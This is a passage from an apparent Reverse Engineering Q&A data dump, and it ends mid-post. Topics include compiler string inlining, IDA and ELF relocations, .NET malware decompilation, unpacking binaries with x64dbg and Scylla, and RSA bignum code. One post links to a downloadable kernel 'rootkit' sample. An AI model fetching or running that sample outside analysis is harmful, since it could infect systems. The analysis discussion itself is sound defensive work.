  <row Id="18468" PostTypeId="2" ParentId="18467" CreationDate="2018-06-06T09:32:16.547" Score="2" Body="&lt;p&gt;This is manual string assignment. Notice how all DWORDs are composed of printable characters? hit &lt;kbd&gt;r&lt;/kbd&gt; in IDA to convert the hex values to string characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code seems to be assigning strings into different stack addresses, 4 characters at a time. This is a common optimization over calling a function that iterates over strings byte by byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As others pointed out, this optimization is usually called &quot;loop unrolling&quot; as it unrolls several iterations of a loop into sequential assembly, however I often find that type of direct string characters assignment to be more commonly the output of a code similar to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char str[] = &quot;this is a string&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-06-06T16:23:21.570" LastActivityDate="2018-06-06T16:23:21.570" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18469" PostTypeId="2" ParentId="18467" CreationDate="2018-06-06T09:51:39.860" Score="2" Body="&lt;p&gt;This is called inlining. strcpy was substituted by mov instructions, because compiler decided that in such way code will run faster.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-06-06T09:51:39.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18470" PostTypeId="2" ParentId="18462" CreationDate="2018-06-06T10:27:48.063" Score="3" Body="&lt;p&gt;By this screenshot it's not really clear if it's MFC or not, due to MFC can be linked statically. And when MFC is linked statically you won't see any MFC function name in the imports window. Nevertheless, if IDA detects static MFC library it tries to apply MFC signatures msmfc*.sig So you should check the signatures window in IDA too and see if it found anything. Also you may try to apply MFC signatures manually, because IDA might failed to detect it. If applying the signature gave you 200 or more library functions detected, then yes, there's MFC code in the app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. all the UI frameworks have to use API from user32.dll and gdi32.dll in order to work in Windows. So you'll find the those imports, no matter the UI framework, that was used in the app.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-06-06T10:27:48.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18471" PostTypeId="2" ParentId="18434" CreationDate="2018-06-06T18:30:17.223" Score="2" Body="&lt;p&gt;Depending on your use case and how you are running your jar file, if you can run the file you may want to create a java agent that hooks into your JVM (&lt;code&gt;java -jar -javaagent:YourAgent.jar Target.jar&lt;/code&gt;) and you could use &lt;a href=&quot;http://asm.ow2.io/asm4-guide.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASM&lt;/a&gt; or &lt;a href=&quot;http://jboss-javassist.github.io/javassist/tutorial/tutorial.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Javassist&lt;/a&gt; libraries to alter the byte code at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For adding a field or altering it in ASM you could override your &lt;code&gt;visitField&lt;/code&gt; or &lt;code&gt;visitMethod&lt;/code&gt; functions in your transformer class that inherits from &lt;code&gt;ClassVisitor&lt;/code&gt;.  In the &lt;code&gt;visitField&lt;/code&gt; method you could create a new field or alter the values of the variables without modifying the actual class files.&lt;/p&gt;&#xA;" OwnerUserId="3408" LastActivityDate="2018-06-06T18:30:17.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18472" PostTypeId="2" ParentId="18456" CreationDate="2018-06-07T07:55:36.103" Score="0" Body="&lt;p&gt;Are you trying to override &lt;code&gt;std::string&lt;/code&gt;? Please check &lt;a href=&quot;https://en.cppreference.com/w/cpp/string/basic_string&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.cppreference.com/w/cpp/string/basic_string&lt;/a&gt;. &lt;code&gt;std::string&lt;/code&gt; is just a &lt;code&gt;typedef&lt;/code&gt; for &lt;code&gt;std::basic_string&amp;lt;char&amp;gt;&lt;/code&gt; which means that &lt;code&gt;std::string&lt;/code&gt; is not dynamically linked. In other words those methods you try to override are statically linked into you &lt;code&gt;./app&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8133" LastEditorUserId="245" LastEditDate="2018-06-07T08:36:08.430" LastActivityDate="2018-06-07T08:36:08.430" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18473" PostTypeId="2" ParentId="18467" CreationDate="2018-06-07T09:09:30.213" Score="1" Body="&lt;p&gt;the optimizations mantras  of the answers got me intrigued so i thought i'll check what actual optimizations are being done  on the code (OP appears to be beginner and i doubted OP  would be capable of optimizing at all ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it appears this is default compilation without optimization enabled in gcc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;gcc version 8.1.0 (i686-win32-dwarf-rev0, Built by MinGW-W64 project)&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;visual studio 2017 15.7.3&lt;/strong&gt; doesn't do this kind of code at all whether optimized or not  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with optimizations disabled vs resorts to calling strcpy ()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cl /nologo /Zi booky.cpp&#xA;booky.cpp&#xA;&#xA;:\&amp;gt;cdb -c &quot;.lines;uf booky!main;q&quot; booky.exe | grep -E &quot;  15|  16|  17&quot;&#xA;&#xA;&#xA;   15 001c6b35 6850be2100      push    offset booky!__xt_z+0x108 (0021be50)&#xA;   15 001c6b3a 8d8530ffffff    lea     eax,[ebp-0D0h]&#xA;   15 001c6b40 50              push    eax&#xA;   15 001c6b41 e86bb2ffff      call    booky!ILT+3500(_strcpy) (001c1db1) &amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;   15 001c6b46 83c408          add     esp,8&#xA;   16 001c6b49 685cbe2100      push    offset booky!__xt_z+0x114 (0021be5c)&#xA;   16 001c6b4e 8d8d62ffffff    lea     ecx,[ebp-9Eh]&#xA;   16 001c6b54 51              push    ecx&#xA;   16 001c6b55 e857b2ffff      call    booky!ILT+3500(_strcpy) (001c1db1) &amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;   16 001c6b5a 83c408          add     esp,8&#xA;   17 001c6b5d 6868be2100      push    offset booky!__xt_z+0x120 (0021be68)&#xA;   17 001c6b62 8d5594          lea     edx,[ebp-6Ch]&#xA;   17 001c6b65 52              push    edx&#xA;   17 001c6b66 e846b2ffff      call    booky!ILT+3500(_strcpy) (001c1db1)  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;   17 001c6b6b 83c408          add     esp,8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;optimising for space (O2) or full optimisations (Ox) vs2017 resorts to using sse2 moves&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cl /Zi /O2 booky.cpp&#xA;Microsoft (R) C/C++ Optimizing Compiler Version 19.14.26430 for x86&#xA;&#xA;:\&amp;gt;cdb -c &quot;.lines;uf booky!main;q&quot; booky.exe | grep -E &quot;  15|  16|  17&quot;&#xA;   15 00f7aae4 a158befc00      mov     eax,dword ptr [booky!`string'+0x8 (00fcbe58)]&#xA;&#xA;:\&amp;gt;cdb -c &quot;.lines;uf booky!main;q&quot; booky.exe | grep -A 5 -E &quot;  15|  16|  17&quot;&#xA;   15 00f7aae4 a158befc00      mov     eax,dword ptr [booky!`string'+0x8 (00fcbe58)]&#xA;   19 00f7aae9 b933000000      mov     ecx,33h&#xA;   19 00f7aaee f30f7e0550befc00 movq    xmm0,mmword ptr [booky!`string' (00fcbe50)] &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;   19 00f7aaf6 89442408        mov     dword ptr [esp+8],eax&#xA;   19 00f7aafa 0fb60568befc00  movzx   eax,byte ptr [booky!`string'+0x8 (00fcbe68)] &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;   19 00f7ab01 8844243a        mov     byte ptr [esp+3Ah],al&#xA;&#xA;:\&amp;gt;cl /Zi /Ox booky.cpp&#xA;&#xA;:\&amp;gt;cdb -c &quot;.lines;uf booky!main;q&quot; booky.exe | grep -A 5 -E &quot;  15|  16|  17&quot;&#xA;   15 0138ac74 a198e83d01      mov     eax,dword ptr [booky!__newctype+0x308 (013de898)]&#xA;   19 0138ac79 b933000000      mov     ecx,33h&#xA;   19 0138ac7e f30f7e0590e83d01 movq    xmm0,mmword ptr [booky!__newctype+0x300 (013de890)]&#xA;   19 0138ac86 89442408        mov     dword ptr [esp+8],eax&#xA;   19 0138ac8a 0fb605a4e83d01  movzx   eax,byte ptr [booky!__newctype+0x314 (013de8a4)]&#xA;   19 0138ac91 8844243a        mov     byte ptr [esp+3Ah],al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;mingw gcc 8.10 seems to break the strings into dwords even when explicitly disabling optimization with O0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;:&gt;e:\mingw\mingw-w64.bat&lt;br&gt;&#xA;:&gt;ls&lt;br&gt;&#xA;booky.cpp&lt;br&gt;&#xA;:&gt;gcc -g -O0 booky.cpp&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;g++ -g -O0 also disassembles to same construct as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;objdump -d --start-address 0x4015c0 --stop-address 0x401600 -M intel a.exe&#xA;&#xA;a.exe:     file format pei-i386&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;004015c0 &amp;lt;_main&amp;gt;:&#xA;  4015c0:       55                      push   ebp&#xA;  4015c1:       89 e5                   mov    ebp,esp&#xA;  4015c3:       57                      push   edi&#xA;  4015c4:       56                      push   esi&#xA;  4015c5:       53                      push   ebx&#xA;  4015c6:       83 e4 f0                and    esp,0xfffffff0&#xA;  4015c9:       81 ec 70 02 00 00       sub    esp,0x270&#xA;  4015cf:       e8 ec 01 00 00          call   4017c0 &amp;lt;___main&amp;gt;&#xA;  4015d4:       8d 84 24 a4 01 00 00    lea    eax,[esp+0x1a4]&#xA;  4015db:       c7 00 50 72 6f 67       mov    DWORD PTR [eax],0x676f7250&#xA;  4015e1:       c7 40 04 72 61 6d 6d    mov    DWORD PTR [eax+0x4],0x6d6d6172&#xA;  4015e8:       c7 40 08 69 6e 67 00    mov    DWORD PTR [eax+0x8],0x676e69&#xA;  4015ef:       8d 84 24 a4 01 00 00    lea    eax,[esp+0x1a4]&#xA;  4015f6:       83 c0 32                add    eax,0x32&#xA;  4015f9:       c7 00 4e 75 68 61       mov    DWORD PTR [eax],0x6168754e&#xA;  4015ff:       c7                      .byte 0xc7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to disable this &lt;strong&gt;-fno-builtin-strcpy&lt;/strong&gt; needs to be passed to gcc in commandline &#xA;if -fno-builtin-strcpy is passed gcc wont chunk the strings even when compiled with &lt;strong&gt;-O3 optimization&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;compilation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ls&#xA;booky.cpp&#xA;&#xA;:\&amp;gt;g++ -O3 -g -fno-builtin-strcpy -o booky.exe booky.cpp&#xA;&#xA;:\&amp;gt;ls&#xA;booky.cpp  booky.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;execution &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;booky.exe&#xA;ProgrammingTelecom Billing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;objdump -d --start-address=0x402670 --stop-address=0x4026b0 -M intel booky.exe&#xA;&#xA;booky.exe:     file format pei-i386&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;00402670 &amp;lt;_main&amp;gt;:&#xA;  402670:       55                      push   ebp&#xA;  402671:       89 e5                   mov    ebp,esp&#xA;  402673:       57                      push   edi&#xA;  402674:       56                      push   esi&#xA;  402675:       53                      push   ebx&#xA;  402676:       83 e4 f0                and    esp,0xfffffff0&#xA;  402679:       81 ec 80 02 00 00       sub    esp,0x280&#xA;  40267f:       e8 ec ef ff ff          call   401670 &amp;lt;___main&amp;gt;&#xA;  402684:       8d 74 24 1c             lea    esi,[esp+0x1c]&#xA;  402688:       c7 44 24 04 44 40 40    mov    DWORD PTR [esp+0x4],0x404044&#xA;  40268f:       00&#xA;  402690:       8d bc 24 b4 01 00 00    lea    edi,[esp+0x1b4]&#xA;  402697:       89 34 24                mov    DWORD PTR [esp],esi&#xA;  40269a:       8d 9c 24 b4 01 00 00    lea    ebx,[esp+0x1b4]&#xA;  4026a1:       e8 ee fe ff ff          call   402594 &amp;lt;_strcpy&amp;gt;&#xA;  4026a6:       8d 44 24 4e             lea    eax,[esp+0x4e]&#xA;  4026aa:       c7                      .byte 0xc7&#xA;  4026ab:       44                      inc    esp&#xA;  4026ac:       24 04                   and    al,0x4&#xA;  4026ae:       50                      push   eax&#xA;  4026af:       40                      inc    eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an analysed output from radare2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           ; JMP XREF from 0x0040262f (sym.___getmainargs)&#xA;|           0x00402671      89e5           mov ebp, esp&#xA;|           0x00402673      57             push edi&#xA;|           0x00402674      56             push esi&#xA;|           0x00402675      53             push ebx&#xA;|           0x00402676      83e4f0         and esp, 0xfffffff0&#xA;|           0x00402679      81ec80020000   sub esp, 0x280&#xA;|           0x0040267f      e8ecefffff     call sym.___main&#xA;|           0x00402684      8d74241c       lea esi, [local_1ch]        ; 0x1c ; 28&#xA;|           0x00402688      c74424044440.  mov dword [local_4h], str.Programming ; &#xA;[0x404044:4]=0x676f7250 ; &quot;Programming&quot; ; const char * src&#xA;|           0x00402690      8dbc24b40100.  lea edi, [local_1b4h]       ; 0x1b4 ; 436&#xA;|           0x00402697      893424         mov dword [esp], esi        ; char * dest&#xA;|           0x0040269a      8d9c24b40100.  lea ebx, [local_1b4h]       ; 0x1b4 ; 436&#xA;|           0x004026a1      e8eefeffff     call sym._strcpy            ;&#xA; char *strcpy(char *dest, const char *src)&#xA;|           0x004026a6      8d44244e       lea eax, [local_4eh]        ; 0x4e ; 'N' ; 78&#xA;|           0x004026aa      c74424045040.  mov dword [local_4h], str.Nuha_Ali ; &#xA;[0x404050:4]=0x6168754e ; &quot;Nuha Ali&quot; ; const char * src&#xA;|           0x004026b2      890424         mov dword [esp], eax        ; char * dest&#xA;|           0x004026b5      e8dafeffff     call sym._strcpy            ;&#xA; char *strcpy(char *dest, const char *src)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-06-07T12:17:14.103" LastActivityDate="2018-06-07T12:17:14.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18474" PostTypeId="1" CreationDate="2018-06-07T11:09:12.040" Score="1" ViewCount="139" Body="&lt;p&gt;I've got a .NET malware sample that was transpiled to JScript using &lt;a href=&quot;https://github.com/tyranid/DotNetToJScript&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;DotNet2JScript&quot;&gt;DotNet2JScript&lt;/a&gt;. The .NET malware assembly was serialized to binary form using BinaryFormatter and then embedded into the JScript source code. How can I transform the serialized malware assembly back to PE-file, so I can analyze it using dnSpy and similar tools? Or is there any tool that can parse metadata from serialized assemblies? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="24632" LastEditorUserId="2147" LastEditDate="2018-06-08T02:44:07.523" LastActivityDate="2018-06-08T02:44:07.523" Title="Decompiling DotNet2JScript malware?" Tags="|windows|decompilation|malware|.net|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18475" PostTypeId="1" AcceptedAnswerId="18484" CreationDate="2018-06-07T15:05:06.487" Score="1" ViewCount="1543" Body="&lt;p&gt;While working on this &lt;a href=&quot;https://transfer.sh/xKTok/rootkit&quot; rel=&quot;nofollow noreferrer&quot;&gt;kernel module&lt;/a&gt;, I noticed IDA somehow resolves some ELF relocations statically. Consider the symbol &lt;code&gt;sys_renameat&lt;/code&gt;, which, according to IDA, resides at &lt;code&gt;0x8000720&lt;/code&gt; in &lt;code&gt;.bss&lt;/code&gt; segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9EHhS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9EHhS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The raw hex bytes corresponding to the &lt;code&gt;mov&lt;/code&gt; instruction at &lt;code&gt;0x800328&lt;/code&gt; are &lt;code&gt;A3 20 07 00 08&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, looking at bytes at that specific offset with a hex-editor reveals &lt;code&gt;A3 00 00 00 00&lt;/code&gt;. Clearly, there is a relocation which IDA is resolving somehow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vW1N8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vW1N8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;readelf -r rootkit&lt;/code&gt; confirms this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Relocation section '.rel.init.text' at offset 0x119c contains 26 entries:&#xA; Offset     Info    Type            Sym.Value  Sym. Name&#xA;.&#xA;00000059  00001701 R_386_32          00000000   sys_renameat&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The symbol information as returned by &lt;code&gt;readelf -s rootkit&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol table '.symtab' contains 44 entries:&#xA;Num:    Value  Size Type    Bind   Vis      Ndx Name&#xA;.&#xA;23: 00000000     4 OBJECT  GLOBAL DEFAULT   15 sys_renameat&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I &lt;code&gt;strip&lt;/code&gt; the binary, suddenly IDA fails to resolve (&lt;code&gt;mov&lt;/code&gt; instruction at &lt;code&gt;0x800328&lt;/code&gt;) the relocations any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K5Bx9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K5Bx9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is, resolving dynamic relocations never depends on symbol information which &lt;code&gt;strip&lt;/code&gt; removes. I tried to compute how IDA was computing &lt;code&gt;R_386_32&lt;/code&gt; type relocation for &lt;code&gt;sys_renameat&lt;/code&gt; according to &lt;a href=&quot;https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter6-79797.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF specification&lt;/a&gt;, but couldn't figure out what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is IDA resolving relocation correctly in this case/ If so, can someone please explain this behavior?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2018-06-07T20:58:16.317" Title="Is IDA resolving ELF relocations correctly?" Tags="|ida|elf|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18477" PostTypeId="1" AcceptedAnswerId="18478" CreationDate="2018-06-07T16:00:43.587" Score="4" ViewCount="7047" Body="&lt;p&gt;I know how to do it with OllyDbg but with &lt;a href=&quot;https://x64dbg.com/#start&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg\x32dbg&lt;/a&gt; I don't know how to do it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a packed binary file and at some point it unpacks itself and I found the point where it does it.&lt;br&gt;&#xA;I want to copy it to a binary file at this point (after unpacked).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using right click on the code and use &lt;code&gt;Copy&lt;/code&gt; and &lt;code&gt;Binary&lt;/code&gt; but I don't see any option to copy to executable:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1w8OQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1w8OQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea ?  &lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2019-08-26T10:23:33.687" Title="How to copy binary file with x64dbg\x32dbg after it changed it self" Tags="|x64dbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18478" PostTypeId="2" ParentId="18477" CreationDate="2018-06-07T16:55:10.450" Score="4" Body="&lt;p&gt;It sounds like you want to dump the executable. You can use Scylla (which is built into x64dbg) to dump and restore the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find Scylla in &lt;code&gt;Plugins -&amp;gt; Scylla&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-06-07T16:55:10.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18479" PostTypeId="1" AcceptedAnswerId="18481" CreationDate="2018-06-07T18:12:59.000" Score="4" ViewCount="1099" Body="&lt;p&gt;IBM's AIX &lt;a href=&quot;https://www.ibm.com/support/knowledgecenter/en/ssw_aix_71/com.ibm.aix.cmds5/strip.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;strip&lt;/code&gt;&lt;/a&gt; utility documentation states the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The strip command with no options removes the line number information,&#xA;  relocation information, symbol table, the debug section, and the&#xA;  typchk section, and the comment section.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If relocation information is removed, how come the stripped executable still remain usable?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="18317" LastEditDate="2018-06-07T19:22:08.173" LastActivityDate="2018-06-07T21:47:01.737" Title="How does a stripped XCOFF binary still remain usable?" Tags="|file-format|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18480" PostTypeId="1" AcceptedAnswerId="18491" CreationDate="2018-06-07T19:11:24.280" Score="4" ViewCount="206" Body="&lt;p&gt;The below code snippets are some kind of &lt;code&gt;bignum&lt;/code&gt; multiplications involving 2048bit numbers, possibly in the context of RSA decryption. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does any one recognize this pattern?  &lt;/li&gt;&#xA;&lt;li&gt;Is it maybe some kind of &lt;code&gt;Montgomery&lt;/code&gt; multiplication (unlikely) ? &lt;/li&gt;&#xA;&lt;li&gt;Or some RSA obfuscation that someone recognizes?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are 2 multiplication loops. I marked them with &lt;code&gt;loop1&lt;/code&gt; and &lt;code&gt;loop2&lt;/code&gt;. &lt;code&gt;loop1&lt;/code&gt; does the partial multiplication and addition I would expect. But how does the second loop make sense &lt;em&gt;mathematically&lt;/em&gt;? It uses a seperate vector to multiply with. Does this accumulate into a  modulo operation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I converted the IDA compilation to a more readable representation below,&#xA;the original is at the end. Can anyone recognize a pattern?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct mod {&#xA;  int len;&#xA;  uint32_t _pad0[64]; /* 4 */&#xA;  uint32_t r[64];     /* 4 + (256*1) :offset-260  */&#xA;  uint32_t _pad2[64]; /* 4 + (256*2) :offset-516  */&#xA;  uint32_t _pad3[64]; /* 4 + (256*3) :offset-772  */&#xA;  uint32_t _pad4[64]; /* 4 + (256*4) :offset-1028 */&#xA;  int fac;            /* 4 + (256*5) :offset-1284 */&#xA;};&#xA;&#xA;#define align8(c) (((uint64_t)(c)) &amp;amp; (~0x7ULL))&#xA;&#xA;int64_t some_kind_of_mult(int32_t *acc , int32_t *a , int32_t *b, struct mod *n)&#xA;{&#xA;  int i0, i1, i2, j0 ;&#xA;  uint32_t top;&#xA;  uint64_t c0 = 0, c1 = 0, v0, v1, v2, v3, c01, c01_h;&#xA;  intt64_t m1, res, topc0 = 0;&#xA;&#xA;  memset(acc,0,256);&#xA;  res = 0;&#xA;  l = n-&amp;gt;len;&#xA;&#xA;  if ( !l )&#xA;    return res;&#xA;&#xA;  top = topc0 = 0;&#xA;&#xA;  for (i0 = 0; i0 &amp;lt; l; i0++)&#xA;  {&#xA;      /* loop1: multiply a[0..l] with partial b[i0], accumulate resule in acc[0..l] */&#xA;      for (c1=0, i1=0; i1 &amp;lt; l; i1++)&#xA;      {&#xA;          v1 = ((uint64_t)a[i1] * (uint64_t)b[i0]) + acc[i1] + c1;&#xA;          acc[i1] = v1;&#xA;          c1 = v1 &amp;gt;&amp;gt; 32;&#xA;      }&#xA;&#xA;      top = (uint32_t)c1 + topc0;&#xA;      c01 = c1 + topc0;&#xA;&#xA;      m1 = (uint32_t)(acc[0] * n-&amp;gt;fac);&#xA;      c2 = (m1 * (uint64_t)(n-&amp;gt;r[0]) + acc[0]) &amp;gt;&amp;gt; 32;&#xA;&#xA;      /* loop2: do some acc[0..l] postprocessing involving some acc[i2-1] = .. acc[i2] ... calculcation */&#xA;      for (i2 = 1; i2 &amp;lt; l; i2++)&#xA;      {&#xA;          v2 = acc[i2] + c2 + (m1 * n-&amp;gt;r[i2]);&#xA;          acc[i2-1] = v2;&#xA;          c2 = (v2 &amp;gt;&amp;gt; 32);&#xA;      }&#xA;&#xA;      acc[l-1] = top + c2;&#xA;      topc0 = (c01 &amp;gt;&amp;gt; 32) + ((top + c2) &amp;gt;&amp;gt; 32);&#xA;  }&#xA;&#xA;  if ( !topc0 &amp;amp;&amp;amp; l-1 &amp;gt;= 0 )&#xA;  {&#xA;      res = l-1;&#xA;      if ( acc[l-1] &amp;lt; n-&amp;gt;r[l-1] )&#xA;        /* possible error in IDA function */&#xA;        return res;&#xA;      if ( *v28 &amp;lt;= v29 )&#xA;        /* possible error in IDA function */&#xA;        JUMPOUT(loc_BC46E10);&#xA;  }&#xA;&#xA;  res &amp;amp;= 0xffffffff00000000ULL;;&#xA;  /* loop3: some final substraction on acc[0-l] */&#xA;  for (j0 = 0; j0 &amp;lt; l; j0++)&#xA;  {&#xA;      v3 = acc[j0] - (uint64_t)n-&amp;gt;r[j0] - (uint32_t)res;&#xA;      acc[j0] = v3;&#xA;      res = -(v3 &amp;gt;&amp;gt; 32);&#xA;  }&#xA;&#xA;  return res;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the original IDA decompile:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; int64 fastcall sub_BC46730(_DWORD *a1, int64 a2, int64 a3, int64 a4)&#xA;{&#xA;    _DWORD *v4; // r9@1&#xA;    signed __int64 v5; // rdi@1&#xA;    __int64 v6; // rbp@1&#xA;    __int64 result; // rax@1&#xA;    unsigned int v8; // ecx@1&#xA;    unsigned int v9; // er13@1&#xA;    __int64 v10; // r10@2&#xA;    unsigned __int64 v11; // rdi@3&#xA;    __int64 v12; // r8@3&#xA;    unsigned __int64 v13; // rax@4&#xA;    unsigned __int64 v14; // rax@4&#xA;    __int64 v15; // r14@5&#xA;    unsigned __int64 v16; // r11@5&#xA;    __int64 v17; // rax@5&#xA;    unsigned __int64 v18; // r11@5&#xA;    __int64 v19; // r8@5&#xA;    unsigned __int64 v20; // r15@5&#xA;    signed __int64 v21; // rdi@6&#xA;    _DWORD *v22; // rcx@6&#xA;    __int64 v23; // rax@7&#xA;    unsigned __int64 v24; // rax@7&#xA;    unsigned __int64 v25; // rax@7&#xA;    __int64 v26; // rsi@9&#xA;    unsigned __int64 v27; // rcx@11&#xA;    unsigned int *v28; // rdi@14&#xA;    unsigned int v29; // ebx@14&#xA;    __int64 v30; // [sp+0h] [bp-40h]@2&#xA;    int v31; // [sp+8h] [bp-38h]@2&#xA;    int v32; // [sp+Ch] [bp-34h]@2&#xA;    v4 = a1;&#xA;    v5 = (signed __int64)(a1 + 2);&#xA;    v6 = a4;&#xA;    *(_QWORD *)(v5 - 8) = 0LL;&#xA;    *(_QWORD *)(v5 + 240) = 0LL;&#xA;    result = 0LL;&#xA;    memset(&#xA;        (void *)(v5 &amp;amp; 0xFFFFFFFFFFFFFFF8LL),&#xA;        0,&#xA;        8 * ((unsigned __int64)((unsigned int)v4 - (v5 &amp;amp; 0xFFFFFFF8) + 256) &amp;gt;&amp;gt; 3));&#xA;    v8 = 0;&#xA;    v9 = *(_DWORD *)v6;&#xA;    if ( *(_DWORD *)v6 )&#xA;    {&#xA;        v10 = 0LL;&#xA;        v31 = *(_DWORD *)(v6 + 1284);&#xA;        v32 = v9 - 1;&#xA;        v30 = v9 - 1;&#xA;        do 